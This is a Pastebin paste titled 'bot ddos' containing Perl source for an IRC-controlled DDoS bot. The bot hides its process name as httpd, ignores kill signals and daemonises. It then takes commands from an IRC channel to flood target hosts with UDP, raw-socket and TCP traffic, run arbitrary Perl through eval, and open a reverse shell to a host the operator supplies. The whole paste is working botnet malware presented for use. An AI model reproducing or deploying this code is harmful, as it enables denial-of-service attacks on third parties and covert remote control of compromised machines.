Advertisement
cextor

bot ddos

Dec 14th, 2013
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 14.74 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use HTTP::Request;
  3. use LWP::UserAgent;
  4. my $processo = '/usr/sbin/httpd';
  5. my @adms      = ("c","cextor");
  6. my @canais    = ("#c");
  7. my $nick      = 'cDDoS';
  8. my $ircname   = 'cDDoS';
  9. chop( my $realname = `whoami` );
  10. my $servidor= 'irc.byroenet.com' unless $servidor;
  11. my $porta= '6667';
  12. my $VERSAO   = 'DDoS BoT';
  13. $SIG{'INT'}  = 'IGNORE';
  14. $SIG{'HUP'}  = 'IGNORE';
  15. $SIG{'TERM'} = 'IGNORE';
  16. $SIG{'CHLD'} = 'IGNORE';
  17. $SIG{'PS'}   = 'IGNORE';
  18. use IO::Socket;
  19. use Socket;
  20. use IO::Select;
  21. chdir("/");
  22. $servidor = "$ARGV[0]" if $ARGV[0];
  23. $0 = "$processo" . "\0" x 16;
  24. my $pid = fork;
  25. exit if $pid;
  26. die "Problema com o fork: $!" unless defined($pid);
  27. our %irc_servers;
  28. our %DCC;
  29. my $dcc_sel = new IO::Select->new();
  30. $sel_cliente = IO::Select->new();
  31.  
  32. sub sendraw {
  33.     if ( $#_ == '1' ) {
  34.         my $socket = $_[0];
  35.         print $socket "$_[1]\n";
  36.     }
  37.     else {
  38.         print $IRC_cur_socket "$_[0]\n";
  39.     }
  40. }
  41.  
  42. sub conectar {
  43.     my $meunick      = $_[0];
  44.     my $servidor_con = $_[1];
  45.     my $porta_con    = $_[2];
  46.     my $IRC_socket   = IO::Socket::INET->new(
  47.         Proto    => "tcp",
  48.         PeerAddr => "$servidor_con",
  49.         PeerPort => $porta_con
  50.     ) or return (1);
  51.     if ( defined($IRC_socket) ) {
  52.         $IRC_cur_socket = $IRC_socket;
  53.         $IRC_socket->autoflush(1);
  54.         $sel_cliente->add($IRC_socket);
  55.         $irc_servers{$IRC_cur_socket}{'host'}  = "$servidor_con";
  56.         $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  57.         $irc_servers{$IRC_cur_socket}{'nick'}  = $meunick;
  58.         $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  59.         nick("$meunick");
  60.         sendraw("USER $ircname "
  61.               . $IRC_socket->sockhost
  62.               . " $servidor_con :$realname" );
  63.         sleep 1;
  64.     }
  65. }
  66. my $line_temp;
  67. while (1) {
  68.     while ( !( keys(%irc_servers) ) ) {
  69.         conectar( "$nick", "$servidor", "$porta" );
  70.     }
  71.     delete( $irc_servers{''} ) if ( defined( $irc_servers{''} ) );
  72.     my @ready = $sel_cliente->can_read(0);
  73.     next unless (@ready);
  74.     foreach $fh (@ready) {
  75.         $IRC_cur_socket = $fh;
  76.         $meunick        = $irc_servers{$IRC_cur_socket}{'nick'};
  77.         $nread          = sysread( $fh, $msg, 4096 );
  78.         if ( $nread == 0 ) {
  79.             $sel_cliente->remove($fh);
  80.             $fh->close;
  81.             delete( $irc_servers{$fh} );
  82.         }
  83.         @lines = split( /\n/, $msg );
  84.         for ( my $c = 0 ; $c <= $#lines ; $c++ ) {
  85.             $line      = $lines[$c];
  86.             $line      = $line_temp . $line if ($line_temp);
  87.             $line_temp = '';
  88.             $line =~ s/\r$//;
  89.             unless ( $c == $#lines ) {
  90.                 parse("$line");
  91.             }
  92.             else {
  93.                 if ( $#lines == 0 ) {
  94.                     parse("$line");
  95.                 }
  96.                 elsif ( $lines[$c] =~ /\r$/ ) {
  97.                     parse("$line");
  98.                 }
  99.                 elsif ( $line =~ /^(\S+) NOTICE AUTH :\*\*\*/ ) {
  100.                     parse("$line");
  101.                 }
  102.                 else {
  103.                     $line_temp = $line;
  104.                 }
  105.             }
  106.         }
  107.     }
  108. }
  109.  
  110. sub tcpflooder {
  111.  my $itime = time;
  112.  my ($cur_time);
  113.  my ($ia,$pa,$proto,$j,$l,$t);
  114.  $ia=inet_aton($_[0]);
  115.  $pa=sockaddr_in($_[1],$ia);
  116.  $ftime=$_[2];
  117.  $proto=getprotobyname('tcp');
  118.  $j=0;$l=0;
  119.  $cur_time = time - $itime;
  120.  while ($l<1000){
  121.   $cur_time = time - $itime;
  122.   last if $cur_time >= $ftime;
  123.   $t="SOCK$l";
  124.   socket($t,PF_INET,SOCK_STREAM,$proto);
  125.   connect($t,$pa)||$j--;
  126.   $j++;$l++;
  127.  }
  128.  $l=0;
  129.  while ($l<1000){
  130.   $cur_time = time - $itime;
  131.   last if $cur_time >= $ftime;
  132.   $t="SOCK$l";
  133.   shutdown($t,2);
  134.   $l++;
  135.  }
  136. }
  137.  
  138. sub udpflooder {
  139.     my $iaddr = inet_aton( $_[0] );
  140.     my $msg   = 'A' x $_[1];
  141.     my $ftime = $_[2];
  142.     my $cp    = 0;
  143.     my (%pacotes);
  144.     $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} =
  145.       $pacotes{tcp} = 0;
  146.  
  147.     socket( SOCK1, PF_INET, SOCK_RAW, 2 ) or $cp++;
  148.  
  149.     socket( SOCK2, PF_INET, SOCK_DGRAM, 17 ) or $cp++;
  150.     socket( SOCK3, PF_INET, SOCK_RAW,   1 )  or $cp++;
  151.     socket( SOCK4, PF_INET, SOCK_RAW,   6 )  or $cp++;
  152.     return (undef) if $cp == 4;
  153.     my $itime = time;
  154.     my ($cur_time);
  155.     while (1) {
  156.         for ( my $porta = 1 ; $porta <= 65000 ; $porta++ ) {
  157.             $cur_time = time - $itime;
  158.             last if $cur_time >= $ftime;
  159.             send( SOCK1, $msg, 0, sockaddr_in( $porta, $iaddr ) )
  160.               and $pacotes{igmp}++;
  161.             send( SOCK2, $msg, 0, sockaddr_in( $porta, $iaddr ) )
  162.               and $pacotes{udp}++;
  163.             send( SOCK3, $msg, 0, sockaddr_in( $porta, $iaddr ) )
  164.               and $pacotes{icmp}++;
  165.             send( SOCK4, $msg, 0, sockaddr_in( $porta, $iaddr ) )
  166.               and $pacotes{tcp}++;
  167.  
  168.             for ( my $pc = 3 ; $pc <= 255 ; $pc++ ) {
  169.                 next if $pc == 6;
  170.                 $cur_time = time - $itime;
  171.                 last if $cur_time >= $ftime;
  172.                 socket( SOCK5, PF_INET, SOCK_RAW, $pc ) or next;
  173.                 send( SOCK5, $msg, 0, sockaddr_in( $porta, $iaddr ) )
  174.                   and $pacotes{o}++;
  175.             }
  176.         }
  177.         last if $cur_time >= $ftime;
  178.     }
  179.     return ( $cur_time, %pacotes );
  180. }
  181.  
  182. sub parse {
  183.     my $servarg = shift;
  184.     if ( $servarg =~ /^PING \:(.*)/ ) {
  185.         sendraw("PONG :$1");
  186.     }
  187.     elsif ( $servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/ ) {
  188.         my $pn       = $1;
  189.         my $hostmask = $3;
  190.         my $onde     = $4;
  191.         my $args     = $5;
  192.         if ( $args =~ /^\001VERSION\001$/ ) {
  193.             notice( "$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001" );
  194.         }
  195.         if ( grep { $_ =~ /^\Q$pn\E$/i } @adms ) {
  196.         if ( $args =~ /^(\Q$meunick\E|\!ddos)\s+(.*)/ ) {
  197.         my $natrix = $1;
  198.         my $arg    = $2;
  199.         if ( $arg =~ /^\&(.*)/ ) {
  200.           $ondep = $onde;
  201.           bfunc( "$ondep", "$1" );
  202.             }
  203.         }
  204.         if ( $onde eq "$meunick" ) {
  205. #                shell( "$pn", "$args" );
  206.             }
  207.             if ( $args =~ /^(\Q$meunick\E|\!ddos)\s+(.*)/ ) {
  208.                 my $natrix = $1;
  209.                 my $arg    = $2;
  210.                 if ( $arg =~ /^\!(.*)/ ) {
  211.                     ircase( "$pn", "$onde", "$1" )
  212.                       unless ( $natrix eq "!bot" and $arg =~ /^\!nick/ );
  213.                 }
  214.                 else {
  215. #                    shell( "$onde", "$arg" );
  216.                 }
  217.             }
  218.  
  219.         }
  220.     }
  221.  
  222.     elsif ( $servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i ) {
  223.         if ( lc($1) eq lc($meunick) ) {
  224.             $meunick = $4;
  225.             $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  226.         }
  227.     }
  228.     elsif ( $servarg =~ m/^\:(.+?)\s+433/i ) {
  229.         nick( "$meunick|" . int rand(999999) );
  230.     }
  231.     elsif ( $servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i ) {
  232.         $meunick                              = $2;
  233.         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  234.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  235.         foreach my $canal (@canais) {
  236.             sendraw("JOIN $canal ddosit");
  237.         }
  238.     }
  239. }
  240.  
  241. sub bfunc {
  242.     my $printl  = $_[0];
  243.     my $funcarg = $_[1];
  244.     if ( my $pid = fork ) {
  245.         waitpid( $pid, 0 );
  246.     }
  247.     else {
  248.         if (fork) {
  249.             exit;
  250.         }
  251.         else {
  252.             if ( $funcarg =~ /^udpfl00d\s+(.*)\s+(\d+)\s+(\d+)/ ) {
  253.                 sendraw( $IRC_cur_socket,
  254.                         "PRIVMSG $printl :\002[UDP DDoSing]\002 Attacking "
  255.                       . $1
  256.                       . " with "
  257.                       . $2
  258.                       . " Kb packets for "
  259.                       . $3
  260.                       . " seconds." );
  261.                 my ( $dtime, %pacotes ) = udpflooder( "$1", "$2", "$3" );
  262.                 $dtime = 1 if $dtime == 0;
  263.                 my %bytes;
  264.                 $bytes{igmp} = $2 * $pacotes{igmp};
  265.                 $bytes{icmp} = $2 * $pacotes{icmp};
  266.                 $bytes{o}    = $2 * $pacotes{o};
  267.                 $bytes{udp}  = $2 * $pacotes{udp};
  268.                 $bytes{tcp}  = $2 * $pacotes{tcp};
  269.                 sendraw(
  270.                     $IRC_cur_socket,
  271.                     "PRIVMSG $printl :\002UDP]\002 Sent "
  272.                       . int(
  273.                         (
  274.                             $bytes{icmp} +
  275.                               $bytes{igmp} +
  276.                               $bytes{udp} +
  277.                               $bytes{o}
  278.                         ) / 1024
  279.                       )
  280.                       . " Kb in "
  281.                       . $dtime
  282.                       . " seconds to "
  283.                       . $1 . "."
  284.                 );
  285.             }
  286.  
  287.   if ($funcarg =~ /^tcpfl00d\s+(.*)\s+(\d+)\s+(\d+)/) {
  288.      sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP DDoSing]\002 Attacking ".$1." Porta: ".$2." Tempo: ".$3." Secondi");
  289.      my $itime = time;
  290.      my ($cur_time);
  291.              $cur_time = time - $itime;
  292.      while ($3>$cur_time){
  293.              $cur_time = time - $itime;
  294.      &tcpflooder("$1","$2","$3");
  295.              }
  296.      sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP DDoSing]\002 Finished IP: ".$1." Porta: ".$2." ");
  297.            }
  298.  
  299. if ( $funcarg =~ /^info$/ ) {
  300.                 my $sysos  = `uname -sr`;
  301.                 my $uptime = `uptime`;
  302.                 if ( $sysos =~ /freebsd/i ) {
  303.                     $sysname = `hostname`;
  304.                     $memory =
  305. `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
  306.                     $cpu = `grep "cpu MHz" /proc/cpuinfo`;
  307.                     chomp($memory);
  308.                     chomp($swap);
  309.                     chomp($cpu);
  310.                 }
  311.                 elsif ( $sysos =~ /linux/i ) {
  312.                     $sysname = `hostname -f`;
  313.                     $memory  = `grep "MemTotal" /proc/meminfo`;
  314.                     $cpu     = `grep "cpu MHz" /proc/cpuinfo`;
  315.                     chomp($swap);
  316.                     chomp($memory);
  317.                     chomp($cpu);
  318.                 }
  319.                 else {
  320.                     $sysname = "No Found";
  321.                     $memory  = "No found";
  322.                     $swap    = "No Found";
  323.                     $cpu     = "No Found";
  324.                 }
  325.                 $uptime  =~ s/\n//g;
  326.                 $sysname =~ s/\n//g;
  327.                 $sysos   =~ s/\n//g;
  328.                 sendraw( $IRC_cur_socket,
  329. "PRIVMSG $printl :4.:[2Info] Server: $server :| - $porta4:."
  330.                 );
  331.                 sendraw( $IRC_cur_socket,
  332. "PRIVMSG $printl :4.:[2Info] SO/Hostname:12 $sysos - $sysname4:."
  333.                 );
  334.                 sendraw( $IRC_cur_socket,
  335. "PRIVMSG $printl :4.:[2Info] Process/PID:12 $processo - $$4:."
  336.                 );
  337.                 sendraw( $IRC_cur_socket,
  338. "PRIVMSG $printl :4.:[2Info] Uptime:12 $uptime4:."
  339.                 );
  340.                 sendraw( $IRC_cur_socket,
  341. "PRIVMSG $printl :4.:[2Info] Memory Ram:12 $memory 4:."
  342.                 );
  343.                 sendraw( $IRC_cur_socket,
  344. "PRIVMSG $printl :4.:[2Info] CPU Info:12 $cpu4:."
  345.                 );
  346.             }
  347.  
  348.             if ( $funcarg =~ /\!crediti/ ) {
  349.                 sendraw( $IRC_cur_socket, "PRIVMSG $printl :\002Crediti:\002" );
  350.                 sendraw( $IRC_cur_socket,
  351.                     "PRIVMSG $printl :\002ShellBot Codato Da ALiEN\002" );
  352.                 sendraw( $IRC_cur_socket,
  353.                     "PRIVMSG $printl :\002Quindi non Lo Avrà Nessuno\002" );
  354.             }
  355.             exit;
  356.         }
  357.     }
  358. }
  359.  
  360. if ($funcarg =~ /^backd00r\s+(.*)\s+(\d+)/) {
  361. my $host = "$1";
  362. my $porta = "$2";
  363. my $proto = getprotobyname('tcp');
  364. my $iaddr = inet_aton($host);
  365. my $paddr = sockaddr_in($porta, $iaddr);
  366. my $shell = "/bin/sh -i";
  367. if ($^O eq "MSWin32") {
  368. $shell = "cmd.exe";
  369. }
  370. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  371. connect(SOCKET, $paddr) or die "connect: $!";
  372. open(STDIN, ">&SOCKET");
  373. open(STDOUT, ">&SOCKET");
  374. open(STDERR, ">&SOCKET");
  375. system("$shell");
  376. close(STDIN);
  377. close(STDOUT);
  378. close(STDERR);
  379.  
  380. if ($estatisticas)
  381. {
  382. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[CoNNeCTiNG]\002 $host:$porta ");
  383. }
  384. }
  385.  
  386. sub ircase {
  387.     my ( $kem, $printl, $case ) = @_;
  388.     if ( $case =~ /^join (.*)/ ) {
  389.         j("$1");
  390.     }
  391.     if ( $case =~ /^part (.*)/ ) {
  392.         p("$1");
  393.     }
  394.     if ( $case =~ /^rejoin\s+(.*)/ ) {
  395.         my $chan = $1;
  396.         if ( $chan =~ /^(\d+) (.*)/ ) {
  397.             for ( my $ca = 1 ; $ca <= $1 ; $ca++ ) {
  398.                 p("$2");
  399.                 j("$2");
  400.             }
  401.         }
  402.         else {
  403.             p("$chan");
  404.             j("$chan");
  405.         }
  406.     }
  407.     if ( $case =~ /^op/ ) {
  408.         op( "$printl", "$kem" ) if $case eq "op";
  409.         my $oarg = substr( $case, 3 );
  410.         op( "$1", "$2" ) if ( $oarg =~ /(\S+)\s+(\S+)/ );
  411.     }
  412.     if ( $case =~ /^deop/ ) {
  413.         deop( "$printl", "$kem" ) if $case eq "deop";
  414.         my $oarg = substr( $case, 5 );
  415.         deop( "$1", "$2" ) if ( $oarg =~ /(\S+)\s+(\S+)/ );
  416.     }
  417.     if ( $case =~ /^msg\s+(\S+) (.*)/ ) {
  418.         msg( "$1", "$2" );
  419.     }
  420.     if ( $case =~ /^flood\s+(\d+)\s+(\S+) (.*)/ ) {
  421.         for ( my $cf = 1 ; $cf <= $1 ; $cf++ ) {
  422.             msg( "$2", "$3" );
  423.         }
  424.     }
  425.     if ( $case =~ /^ctcp\s+(\S+) (.*)/ ) {
  426.         ctcp( "$1", "$2" );
  427.     }
  428.     if ( $case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/ ) {
  429.         for ( my $cf = 1 ; $cf <= $1 ; $cf++ ) {
  430.             ctcp( "$2", "$3" );
  431.         }
  432.     }
  433.     if ( $case =~ /^nick (.*)/ ) {
  434.         nick("$1");
  435.     }
  436.     if ( $case =~ /^connect\s+(\S+)\s+(\S+)/ ) {
  437.         conectar( "$2", "$1", 6667 );
  438.     }
  439.     if ( $case =~ /^raw (.*)/ ) {
  440.         sendraw("$1");
  441.     }
  442.     if ( $case =~ /^eval (.*)/ ) {
  443.         eval "$1";
  444.     }
  445. }
  446.  
  447. sub shell {
  448.     my $printl  = $_[0];
  449.     my $comando = $_[1];
  450.     if ( $comando =~ /cd (.*)/ ) {
  451.         chdir("$1") || msg( "$printl", "No souch file/directory" );
  452.         return;
  453.     }
  454.     elsif ( $pid = fork ) {
  455.         waitpid( $pid, 0 );
  456.     }
  457.     else {
  458.         if (fork) {
  459.             exit;
  460.         }
  461.         }
  462.     }
  463.  
  464. sub ctcp {
  465.     return unless $#_ == 1;
  466.     sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  467. }
  468.  
  469. sub msg {
  470.     return unless $#_ == 1;
  471.     sendraw("PRIVMSG $_[0] :$_[1]");
  472. }
  473.  
  474. sub notice {
  475.     return unless $#_ == 1;
  476.     sendraw("NOTICE $_[0] :$_[1]");
  477. }
  478.  
  479. sub op {
  480.     return unless $#_ == 1;
  481.     sendraw("MODE $_[0] +o $_[1]");
  482. }
  483.  
  484. sub deop {
  485.     return unless $#_ == 1;
  486.     sendraw("MODE $_[0] -o $_[1]");
  487. }
  488. sub j { &join(@_); }
  489.  
  490. sub join {
  491.     return unless $#_ == 0;
  492.     sendraw("JOIN $_[0]");
  493. }
  494. sub p { part(@_); }
  495.  
  496. sub part {
  497.     sendraw("PART $_[0]");
  498. }
  499.  
  500. sub nick {
  501.     return unless $#_ == 0;
  502.     sendraw("NICK $_[0]");
  503. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement